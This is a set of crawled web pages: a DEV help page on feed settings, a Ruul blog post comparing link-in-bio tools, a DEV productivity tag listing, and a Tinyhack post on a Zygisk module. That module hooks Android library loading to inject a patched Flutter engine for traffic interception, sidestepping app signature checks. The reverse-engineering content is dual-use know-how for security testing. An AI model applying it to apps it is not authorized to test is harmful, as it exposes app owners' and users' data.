informed, personalize your experience, and connect with others who share similar interests within the community. Hide Tags Just as you can follow tags, you can also hide them. Articles with hidden tags will no longer appear in your Relevant feed, providing you with a more tailored browsing experience. Hiding tags gives you greater control over your feed. Just follow these steps: Tags Page: Visit the tags page and use the search feature to find and hide specific tags. Dashboard: Navigate to the "Following tags" section on your dashboard. Press the three dots to access the hide option and conceal tags from your feed. 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To access these articles, simply navigate to your profile icon, click on "Reading List," and you'll find all your saved posts there." Common Questions What about my post's Google ranking? You can set the canonical_url of your post before publishing so that Google knows where to send the link juice (that precious, precious link juice). 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/help/customizing-your-feed#The-Feed | Customizing Your Feed - DEV Help - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DEV Help The latest help documentation, tips and tricks from the DEV Community. Help > Customizing Your Feed Customizing Your Feed In this article The "Feed" Tags Follow Tags Hide Tags Users Follow Users Block Users Your Reading List Common Questions What about my post's Google ranking? Tailor your reading experience on DEV to suit your preferences. The "Feed" The home page is tailored to each individual DEV member based on what they're following. Every now and then, the DEV Team may "pin" a post to the homepage if it's an announcement that is relevant to all folks, but these are generally posts from the DEV Team. Your feed is where you'll discover a diverse range of articles published by developers worldwide. You can filter the content displayed on your feed based on the type of articles you want to read. Currently, we offer three feed sort options: Relevant, Latest, and Top. Follow tags and users to customize your feed and discover content tailored to your interests. Utilize Subscription Options: With subscription indicators, you can subscribe to new articles from users or organizations you follow, as well as through any of your existing comment subscriptions. Easily manage your subscriptions and unsubscribe from any article or thread that's becoming too popular. With these features, you'll never miss out on an interesting discussion happening on DEV. Stay informed and engaged with the latest comments and articles tailored to your interests. Tags Follow Tags Tags are unique keywords attached to posts to categorize related articles under specific and defined groups. They cover a wide range of topics and feature thousands of posts, from coding tutorials to career advice, catering to both beginners and experienced developers. Following tags on DEV means subscribing to updates and content related to specific topics of interest. By following a tag, you'll see relevant posts in your feed or notifications, enabling you to stay informed, personalize your experience, and connect with others who share similar interests within the community. Hide Tags Just as you can follow tags, you can also hide them. Articles with hidden tags will no longer appear in your Relevant feed, providing you with a more tailored browsing experience. Hiding tags gives you greater control over your feed. Just follow these steps: Tags Page: Visit the tags page and use the search feature to find and hide specific tags. Dashboard: Navigate to the "Following tags" section on your dashboard. Press the three dots to access the hide option and conceal tags from your feed. You can easily manage your Hidden Tags directly from your dashboard. Access the "Hidden tags" section to view and unhide tags at any time, bringing articles with those tags back to your feed. Users Follow Users In order to stay in touch with people in your feed, you can follow them! Just navigate to the member's page and tap that follow button to get alerts when they post new content and prioritize their content in your feed. Block Users You are always able to block users from your feed and from seeing your content by navigating to the three dots in the top right corner of their page and clicking Block. If this member is posting especially harmful content or is a spam account, feel free to also flag this member for us in the same location. Your Reading List By clicking the Bookmark button on an article, you can collect posts to read later and keep them forever in your dashboard. To access these articles, simply navigate to your profile icon, click on "Reading List," and you'll find all your saved posts there." Common Questions What about my post's Google ranking? You can set the canonical_url of your post before publishing so that Google knows where to send the link juice (that precious, precious link juice). 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
https://ruul.io/blog/best-link-in-bio-tools-for-freelancers#$%7Bid%7D | Best Link-in-Bio Tools for Freelancers in 2025 | Sell & Get Paid Faster Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up grow Best Link-in-Bio Tools for Freelancers Discover the top link-in-bio tools for freelancers to sell services, accept payments, issue invoices, and simplify client workflows—without needing a full website. Umut Güncan 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Ruul Space – Best for selling services with global payment, invoicing, and tax compliance. Free to use. Beacons – Great for creators selling content or coaching. DIY setup with payment integrations. Contra – A discovery-focused platform for booking freelance work. Carrd – Minimalist one-pagers for branding. Canva Link in Bio – Beautiful visual pages. Linktree – Reliable link hub, no service selling features. Koji – App-powered, fun, and built for micro-monetization. Dribble – An extension to your Dribble profile As an independent, you don’t need a full website to sell your services or get paid — a smart, all-in-one link can be a great solution: Link-in-bio. Think of it as a single link that replaces five: your portfolio , payment page, service list, contact form, and invoice generator . Instead of juggling different tools, one link can do it all. That’s exactly what link-in-bio tools are built for. We know there are many options and it’s not a good move to use all. That’s why we wanted to analyze link-in-bio tools through the lens of freelance service-selling . Here, explore the top link-in-bio tools for freelancers and creators, their features, and how they can transform your workflow. What are link-in-bio tools? Link-in-bio tools are landing pages that independents, freelancers, creators, and entrepreneurs use to gather useful information in one place and list services and packages to sell. This serves deeper info in a digestible and actionable way. These tools often include additional features like payment buttons, contact forms, digital downloads, and booking options—turning your bio link into a mini website. Why freelancers need link-in-bio tools From our research and analysis, we found these four benefits are good reasons to start using link-in-bio tools right away. Centralized Online Presence : Freelancers often juggle portfolios, booking tools, and multiple platforms. A link-in-bio tool puts everything in one place. So your audience doesn’t have to guess where to go next. Enhanced Discoverability : One smart link helps route traffic from social bios to your best work, top services, or latest content. It’s a fast track to conversion. Improved Engagement : These tools give you more than just a landing page—they show you what works. Track link clicks, view drop-offs, and see what actually drives interest. Monetization Opportunities : Accept payments without friction . Whether it's for a digital product, a freelance service, or just a coffee tip—your link can now be a direct income source. Now, let's unpack the tools that can help you achieve all this and more. The best link-in-bio tools for freelancers 1. Ruul Space A service page + payment link where freelancers sell services, issue invoices, and receive payout globally. Ruul Space offers a customizable service page with analytics. Here you can showcase your top services, create digital products and include a direct payment link. This makes it easy for clients to quickly purchase services and for freelancers to receive payment without any friction. Additionally, Ruul Space allows you to issue invoices and receive payouts globally , making it a convenient tool for those working with international clients. Why it stands out: Easy customization for personal branding Clients pay without signing up Digital product sales with a 1-click checkout Discovery-focused with client reviews Subscription to service packages Crypto payouts for you, credit card payment for your clients Analytics for further optimization Best for: Freelancers selling services to global clients Use cases: Selling freelance services, sending payment links to clients, product showcase, and issuing invoices. What makes it different from others: Handles invoicing, payout, and legal selling—all in one. No other tool offers this level of end-to-end service-sale support. You can also get paid for your freelance work in 140 currencies across 190 countries. Pricing: Free to use — Ruul only charges a small commission per transaction. 2. Beacons Beacons is a bio link tool designed to help creators and entrepreneurs monetize their online presence. It offers features like digital product sales, subscriptions, customizable contact forms, and seamless payment integrations. Why it stands out: DIY builder with monetization modules Built-in email, scheduling, forms Custom branding with analytics Best for: Creators or freelancers with products, content, or coaching Use cases: Selling digital products, booking sessions, accepting tips, collecting emails, and running coaching offers. What makes it different from others: Focused on creator commerce, not B2B client work. Pricing: Free plan available. Pro starts at $10/month. Beacons vs Ruul Space: Beacons is good for selling digital content or courses Ruul Space is better for selling services with legal invoicing and tax compliance Both are easy to customize and allow creating products. Ruul handles paperwork; Beacons doesn’t. 3. Contra Portfolios Contra, a freelancer platform, combines portfolios, service listings, and client booking with payment. Why it stands out: Discovery-focused with client reviews No platform commission Built-in proposal flow Best for: Freelancers who want to showcase work and get hired directly Use cases: Creating a freelance portfolio, offering services, accepting bookings, and collecting testimonials. What makes it different from others: Contra offers client discovery and bookings. Pricing: Free to use. Optional Pro features are available for visibility for $29/month. Contra vs Ruul Space: Contra helps you get found and booked, but you handle the rest Ruul Space is optimized for closing service deals with instant payout and legal cover Ruul Space offers an easy-to-customize interface for you to ensure your bio looks professional. Contra Portfolios can be a bit challenging when it comes to designing a bio that effectively showcases your experience. You can access customization features in the Pro version, which costs $29/month. Contra is a freelancer portfolio, Ruul is a freelancer checkout 4. Carrd A one-page website builder — ideal for freelancer portfolios, resumes, or service pages. Carrd is a simple, user-friendly platform that lets you create sleek, responsive websites in minutes. You can find different customizable templates with drag-and-drop functionality. It may require some skills to use templates for a well-structured page. Why it stands out: Supports embeds Various templates Best for: Freelancers who want a clean personal site Use cases: Personal branding, building a one-page resume, showcasing freelance services or side projects. What makes it different from others: It’s a presentation tool, not a business layer. Pricing: Free plan available. Pro starts at $19/year. Carrd vs Ruul Space: Carrd is great for showcasing; Ruul is built for showcasing + getting paid Ruul Space adds payment, compliance, and tax handling Carrd is static; Ruul is active billing With Carrd, you need to work on templates—can be paid or free. Ruul Space is much easier to create your personal space. 5. Canva Link in Bio A design-first tool that transforms your Canva visuals into custom, branded link pages for your social media bios. With Canva Link in Bio, you can create visually appealing, fully customizable pages to showcase your content, links, and brand identity. Why it stands out: Total design freedom Keeps brand consistency Easy to update visuals Best for: Visual-first freelancers and creators Use cases: Designing branded link pages, linking out to products, services, content, and social media profiles. What makes it different from others: Most visual customization. Zero transactional tools built-in. Pricing: Included in Canva Free and Pro. Pro starts at $12.99/month. Canva Link in Bio vs Ruul Space: Canva is about aesthetics , Ruul is about monetizing Canva doesn’t support payment or invoicing Ruul is an independents' pay button, allowing sales directly on your portfolio 6. Linktree A simple and effective landing page for sharing multiple links from one URL, Linktree allows you to consolidate all your important content, social media profiles, websites, or promotions in one place. Linktree can be a good option to bring your various profiles and pages together, so that your clients can choose from. However, simplicity is the key to encouraging clients to take action. We recommend you use a minimum of options with a strategic prioritization. Why it stands out: Fastest setup Built-in analytics Familiar interface Best for: People with many destinations (blog, socials, store) Use cases: Aggregating multiple links, driving traffic from social bios, promoting content or products. What makes it different from others: Linktree is a link hub, doesn’t support transactions or service listings. Pricing: Free plan available. Paid options start at $3/month. Linktree vs Ruul Space: Linktree is a link list , Ruul is a service storefront Ruul includes billing and payment , Linktree doesn’t Ruul replaces invoicing tools, Linktree doesn’t 7. Koji Koji features plug-and-play mini-apps for tips, bookings, downloads, and more, allowing creators to engage with their audience in new ways. With Koji, you can monetize content, sell digital products, run promotions, and customize your profile to reflect your brand. Why it stands out: Gamified interactions Built-in crypto and micro payments Social-focused monetization Best for: Creators with interactive or community content Use cases: Offering tips, selling downloads, taking bookings, engaging audiences with interactive apps. What makes it different from others: App-store model—lots of embedded experiences in one page. Focused on audience engagement. Pricing: Free to use. Takes a percentage of transactions depending on the app. Koji vs Ruul Space: Koji is social-first and playful, Ruul is business-first and professional Koji is better for tips and products, Ruul for showcasing digital products and service billing 8. Dribbble Service Pages Dribbble’s Service Pages are designed to help creative professionals showcase what they offer and get discovered by potential clients. They combine portfolio highlights, service details, and contact options in one clean layout. Why it stands out: Visually polished and easy to navigate Integrated with your Dribbble profile and portfolio Clients can reach out without leaving the platform Best for: Designers, illustrators, and visual creatives looking to attract design-specific clients Use cases: Showcasing design services, listing packages, capturing leads from Dribbble traffic What makes it different from others: Built into a creative-focused platform, Dribbble Service Pages work best as a portfolio extension, not a full billing or checkout solution. Pricing: Included with Dribbble Pro; starts at $16/month. Well, costs can be confusing for Dribbble. Here is how they describe: “In addition to the Project Cost (the designer's fee for delivering the requested work), clients pay a graduated Client Platform Fee of 5% on the first $500 USD of Project Cost, 3.5% on the next $500 USD, and 2% on amounts exceeding $1,000 USD.” Dribbble Service Pages vs Ruul Space: Dribbble is good for getting discovered and contacted Ruul Space is ideal for getting booked and paid Use Dribbble to attract design clients, then close the deal with a Ruul payment link Ruul includes global payout and legal invoicing; Dribbble doesn’t One smart link can change how you work and how much you earn. ABOUT THE AUTHOR Umut Güncan With a degree in electronic engineering, Umut has over 15 years of experience in the industry. For the past 8 years, he has been leading tech and product teams at companies including Getir, specializing in crafting standout products that give these companies an edge. More Best Cities for Freelancers and Self-Employed People Discover the top 10 best cities for digital nomads and freelancers to live and work remotely. Learn about the most critical metrics you should consider when choosing a city to work in. Read more 6 Essential Tips to Boost Content Creators Creativity Discover 6 essential tips to boost creativity for content creators. Learn how to embrace new tools, collaborate with others, set goals, and recharge to stay inspired and productive. Read more The Ultimate Guide to Freelancer Earnings The freelance market is growing, and it's not too late to start freelancing in 2021. Explore the most popular freelance jobs and learn about the earnings potential. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. 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https://dev.to/t/productivity/page/6 | Productivity Page 6 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Productivity Follow Hide Productivity includes tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Create Post submission guidelines Please check if your article contains information or discussion bases about productivity. From posts with the tag #productivity we expect tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. about #productivity Does my article fit the tag? It depends! Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. Older #productivity posts 3 4 5 6 7 8 9 10 11 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Claude CLI Context Window Solved Denys Meddediev Denys Meddediev Denys Meddediev Follow Jan 8 Claude CLI Context Window Solved # ai # programming # opensource # productivity Comments Add Comment 1 min read Artificial Intelligence in Freelance Software Development A Technical and Structural Analysis Beyond Productivity Narratives Mario Duval Solutions Mario Duval Solutions Mario Duval Solutions Follow Jan 8 Artificial Intelligence in Freelance Software Development A Technical and Structural Analysis Beyond Productivity Narratives # ai # career # productivity # softwaredevelopment Comments Add Comment 28 min read Promptelle: An All-in-One AI Photo Prompt Platform for Faster Image Creation Riven_Chandler Riven_Chandler Riven_Chandler Follow Jan 8 Promptelle: An All-in-One AI Photo Prompt Platform for Faster Image Creation # showdev # ai # productivity # resources Comments Add Comment 2 min read Why Reflective Practice Is Your Competitive Advantage in an AI-Driven Workplace Loïc Boset Loïc Boset Loïc Boset Follow Jan 8 Why Reflective Practice Is Your Competitive Advantage in an AI-Driven Workplace # ai # career # learning # productivity 11 reactions Comments 1 comment 3 min read The 3-Day Code Review Problem (And What It's Actually Costing You) Björn Brynjar Jónsson Björn Brynjar Jónsson Björn Brynjar Jónsson Follow Jan 8 The 3-Day Code Review Problem (And What It's Actually Costing You) # discuss # productivity # softwareengineering Comments Add Comment 5 min read Here’s How You Nail the Netflix System Design Interview With The Right Resources Dev Loops Dev Loops Dev Loops Follow Jan 8 Here’s How You Nail the Netflix System Design Interview With The Right Resources # netflix # systemdesign # career # productivity Comments Add Comment 4 min read Why Most AI Coding Sessions Fail (And How to Fix It) Steve Harlow Steve Harlow Steve Harlow Follow Jan 8 Why Most AI Coding Sessions Fail (And How to Fix It) # ai # productivity # devops # programming Comments Add Comment 6 min read What an Early Bus Ride Gave Me Each Morning Mark Ellison Mark Ellison Mark Ellison Follow Jan 8 What an Early Bus Ride Gave Me Each Morning # watercooler # devjournal # mentalhealth # productivity Comments Add Comment 9 min read How to Make AI Reconstruct Context Without Memory synthaicode synthaicode synthaicode Follow Jan 6 How to Make AI Reconstruct Context Without Memory # documentation # ai # productivity Comments Add Comment 3 min read How My Company Automate Meeting Notes to Jira A.I. A.I. A.I. Follow Jan 8 How My Company Automate Meeting Notes to Jira # ai # webdev # tutorial # productivity 1 reaction Comments 1 comment 3 min read I built a privacy-focused tool to crop images into circles instantly kristoff kristoff kristoff Follow Jan 6 I built a privacy-focused tool to crop images into circles instantly # webdev # productivity # buildinpublic # startup Comments Add Comment 1 min read Rust Macros System Aviral Srivastava Aviral Srivastava Aviral Srivastava Follow Jan 12 Rust Macros System # automation # productivity # rust # tutorial 1 reaction Comments 1 comment 9 min read Notes from a Developer Who Learned to Say No Serguey Asael Shinder Serguey Asael Shinder Serguey Asael Shinder Follow Jan 6 Notes from a Developer Who Learned to Say No # career # mentalhealth # productivity Comments Add Comment 1 min read Building My Digital 'Swiss Army Knife': A Custom Unit Converter with AI Daniel Daniel Daniel Follow for Datalaria Jan 8 Building My Digital 'Swiss Army Knife': A Custom Unit Converter with AI # showdev # ai # productivity # tooling 2 reactions Comments Add Comment 6 min read Finding leadership in times of crisis Svile Svile Svile Follow Jan 6 Finding leadership in times of crisis # leadership # productivity # agile # startup Comments Add Comment 9 min read Midweek Elevate: Raise the Baseline MeL MeL MeL Follow Jan 7 Midweek Elevate: Raise the Baseline # motivation # productivity # softwaredevelopment 1 reaction Comments Add Comment 3 min read Building a safer way to manage .env in Laravel — and I’ve just released the public roadmap Vanni Daghini Vanni Daghini Vanni Daghini Follow Jan 6 Building a safer way to manage .env in Laravel — and I’ve just released the public roadmap # laravel # php # devops # productivity Comments Add Comment 2 min read AI, Fake Reviews, and the Trust Crisis in SaaS Mukul Sharma Mukul Sharma Mukul Sharma Follow Jan 9 AI, Fake Reviews, and the Trust Crisis in SaaS # startup # saas # product # productivity 6 reactions Comments Add Comment 3 min read Benchmark: I replaced Gemini CLI's Vector RAG with Context Trees to stop the hallucinations (99% Token Reduction) chi lan chi lan chi lan Follow Jan 9 Benchmark: I replaced Gemini CLI's Vector RAG with Context Trees to stop the hallucinations (99% Token Reduction) # showdev # ai # productivity # gemini 5 reactions Comments Add Comment 2 min read What developers do is changing after agentic AI Benedict L Benedict L Benedict L Follow Jan 6 What developers do is changing after agentic AI # agents # ai # automation # productivity Comments Add Comment 2 min read On Being Productive Without Being Busy Serguey Asael Shinder Serguey Asael Shinder Serguey Asael Shinder Follow Jan 8 On Being Productive Without Being Busy # discuss # mentalhealth # productivity Comments Add Comment 1 min read The tech stack behind InkRows Filip Frincu Filip Frincu Filip Frincu Follow Jan 6 The tech stack behind InkRows # react # javascript # productivity # development Comments Add Comment 4 min read Multitasking with Vibe Coding drains your attention span Tigran Bayburtsyan Tigran Bayburtsyan Tigran Bayburtsyan Follow Jan 5 Multitasking with Vibe Coding drains your attention span # programming # ai # productivity Comments Add Comment 6 min read Why Modular Monolith Architecture is the Key to Effective AI-Assisted Development ismail Cagdas ismail Cagdas ismail Cagdas Follow Jan 6 Why Modular Monolith Architecture is the Key to Effective AI-Assisted Development # ai # architecture # codequality # productivity 1 reaction Comments Add Comment 6 min read Best Apple System Design Interview Resources I Used (And How They Helped Me) Dev Loops Dev Loops Dev Loops Follow Jan 6 Best Apple System Design Interview Resources I Used (And How They Helped Me) # resources # career # systemdesign # productivity Comments Add Comment 5 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DEV Help The latest help documentation, tips and tricks from the DEV Community. Help > Customizing Your Feed Customizing Your Feed In this article The "Feed" Tags Follow Tags Hide Tags Users Follow Users Block Users Your Reading List Common Questions What about my post's Google ranking? Tailor your reading experience on DEV to suit your preferences. The "Feed" The home page is tailored to each individual DEV member based on what they're following. Every now and then, the DEV Team may "pin" a post to the homepage if it's an announcement that is relevant to all folks, but these are generally posts from the DEV Team. Your feed is where you'll discover a diverse range of articles published by developers worldwide. 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https://tinyhack.com/2024/04/09/zygisk-based-reflutter/ | Zygisk-based reFlutter – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Zygisk-based reFlutter I developed a Zygisk module for rooted Android phones with Magisk (and Zygisk enabled). This module allows you to “reFlutter” your Flutter App at runtime, simplifying the testing and reverse engineering processes. If you don’t want to read the detail, the release is available at: https://github.com/yohanes/zygisk-reflutter reFlutter Before discussing zygisk-reflutter and how it works, I want to discuss what is reFlutter, how it works, and why you need it. and what is the problem that a zygisk-based solution solves? I have discussed the problems of reversing a Flutter-based app in this 2021 post: Reverse Engineering a Flutter app by recompiling Flutter Engine . My proposed solution is to recompile the flutter engine ( libflutter.so ) because the binary format of flutter is not stable and not documented. In 2022, a similar concept was introduced by someone from PT Swarm ( detailed in their write-up ). They created reFlutter, which includes a GitHub action to recompile all released Flutter engines, and a Python script that: Extracts the current hash of libflutter used in an APK or IPA. Downloads a prebuilt library matching the hash (created by the GitHub action). Patches libflutter.so with a user-provided proxy IP address. Replaces the original libflutter.so in the APK with the patched version. To use this tool, what we need to do is: Acquire the APK or IPA. Run reflutter <APK/IPA> . Re-sign the APK/IPA. Install the APK/IPA, removing the original app if necessary. This tool is great, and I have been using it since it was released. But there are two problems that I encountered when using this tool: Some app checks their signature, and repacking APK will change the signature (usually, I will resort to in-memory patching with Frida) It takes quite some time to extract APKs from a device, reflutter, re-sign, remove the app, and reinstall the new one If we need to compare the unpatched and patched binary, we need to reinstallt he app What I want to have is a tool that can replace this library at runtime, solving the above problems. Magisk and Zygisk Magisk is a suite of open source software for customizing Android. You will need a phone with unlockable bootloader to use this. There are several features of Magisk, but the one that is useful for this is: Zygisk. Zygisk can inject a code that can run in every Android applications’ processes. To do this: we can create a shared library making use of Zygisk API, package it in a zip file and install it using Magisk Manager. The only documentation for Zygisk is the sample code in this repository: https://github.com/topjohnwu/zygisk-module-sample My understanding of Zygisk comes from studying various open-source Zygisk module repositories. The Zygisk API is straightforward, but diagnosing issues can be challenging. For example, creating a JNI project in Android Studio links to libandroid by default, which is fine unless you use a companion process. The companion process will stop working when you connect to it (solved by removing -landroid ). As I am not a Zygisk expert, my approach might not be optimal. I am open to suggestions for improvement. The GUI part of the app is also not very good. I am not a front end Android programmer and half of the GUI the code was written with the help of Copilot. Library Replacement Assuming that we have a replacement flutter library available (downloaded from the release page of reFlutter), we can hook android_dlopen_ext using pltHookRegister (a Zygisk API) and pass in the new library. How do I know to hook android_dlopen_ext ? The easy method is just by guessing. But i found by tracing the calls from System.loadlibrary : System.loadlibrary ,will call: Runtime.nativeLoad (implemented in libcore/ojluni/src/main/native/Runtime.c ). Runtime.nativeLoad will call JVM_NativeLoad (in art/openjdkjvm/OpenjdkJvm.cc ). JVM_NativeLoad will call LoadNativeLibrary in art/runtime/jni/java_vm_ext.cc LoadNativeLibrary will call OpenNativeLibrary (in art/libnativeloader/native_loader.cpp ) OpenNativeLibrary will call android_dlopen_ext (in bionic/libdl/libdl.cpp ) However, due to Android security, I was unable to load .so from /data/local/tmp/ or its subdirectories, even when I verify that the .so file is readable and executable. But if the library.so is in the app’s data directory, then android_dlopen_ext will work. There are two kind of libraries provided by the reFlutter project: only for proxying and for class dumping. To make the explanation simpler, I will only discuss the proxying case. So to make this work, I made an app that: Lists all installed Android apps. Extracts the Flutter hash from Flutter apps upon selection. Allows for downloading libflutter.so from reFlutter for chosen apps. Creates PACKAGENAME.txt containing the hash .so, if “enable proxy” is selected. Sets up a Proxy IP. Please note that the app is not clean: it does not When the Zygisk module is loaded, it: Checks for PACKAGENAME.txt in the ZygiskReflutter app files directory, reading the content if available. If the target app lacks the library, copies the .so and patches the IP with the desired proxy IP (done once unless the IP changes). Since accessing another app directory requires root access, I am using the companion feature of Zygisk to perform this action. Another method that can also work is this: Store libraries and configurations inside /data/local/tmp When the app is started, copy the data from /data/local/tmp to the app files directory I didn’t realize that we can easily get an app data directory during preSpecialize step, so I might use this approach in the future. Installation and usage To install this, you will need to install both the zip file (as zygisk module) and the app as ordinary APK. You will find a list of app package, scroll (or filter) to find the app. Click it. It will show “Finding hash”. Flutter APp If the app is supported, it will enable the download button. This will download the library (each library is around 10 megabytes, so try using a fast internet connection). Currently I didn’t handle the case when download is corrupted. In case that happen, delete the file from: /data/data/com.tinyhack.zygiskreflutter/files), and download manually from github. Download proxy lib Once it is downloaded, you can enable proxy Proxy can be enabled now Happy hacking This was a weekend project, so this is not a very clean implementation. I am going for a holiday tomorrow to escape from Chiang Mai’s pollution and might continue this project later (but so far its good enough for me). Author admin Posted on April 9, 2024 April 9, 2024 Categories android , mobile , reverse-engineering One thought on “Zygisk-based reFlutter” Junorastapho says: July 19, 2024 at 7:00 am Hi pak Yohanes, thank you for the insights and new tools, I tried this tool and have some questions about it. When downloading proxy lib, there is an error downloading the file this is because there are no libflutter_x86_64.so on the official github, since I am using android studio and installed the apk through google playstore I have tried: – decompiling the apk with apktool -> get the libflutter.so -> copy it inside /data/data/com.tinyhack.zygiskreflutter/files/ – tried the name as is, tried renaming it to .co, tried renaming it to libflutter_x86_64.so – tried checking this apk’s code but did not see any for enabling the checkbox but the enable proxy button is still disabled so I cannot continue any advice? thank you Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Post navigation Previous Previous post: Using U-Boot to extract Boot Image from Pritom P7 Next Next post: Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:47:54 |
